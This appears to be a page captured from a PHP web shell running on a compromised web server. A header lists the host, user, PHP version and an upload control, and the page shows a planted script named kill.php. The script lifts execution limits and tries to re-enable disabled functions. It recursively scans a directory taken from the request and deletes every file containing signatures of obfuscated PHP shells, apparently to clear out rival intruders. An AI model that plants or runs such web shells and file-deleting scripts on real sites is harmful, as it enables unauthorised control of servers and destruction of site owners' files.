HEX
Server: Apache
System: Linux ahs4.r4l.com 5.4.0-193-generic #213-Ubuntu SMP Fri Aug 2 19:14:16 UTC 2024 x86_64
User: acadeaaf (10225)
PHP: 7.4.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/academiedumarketing.com/www/kill.php
<?php
header("Content-Type: text/html;charset=utf-8");
set_time_limit(0);
ini_set('max_execution_time', 0);
@ini_set('disable_functions', 'NONE');
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : $_SERVER['DOCUMENT_ROOT'].'/';
antivirus($path);
function antivirus($dir){
    $scandir = scandir($dir);
    foreach($scandir as $file){
        $path = $dir.'/'.$file;
        $path = str_replace('//', '/', $path);
        if($file == '.' || $file == '..') continue;
        if(@is_link($path)) continue;  
        if(@is_dir($path)){
            if(is_readable($path)) antivirus($path);
        }else{
            $del = 0;
            $y = file_get_contents($path);
            if(strstr($y, 'eval($') && strstr($y, '= ${ $')){
                $del = 1;
                echo $path."<br>";
            }
            if($del == 1){
                unlink($path);
            }
        }
    }
}
?>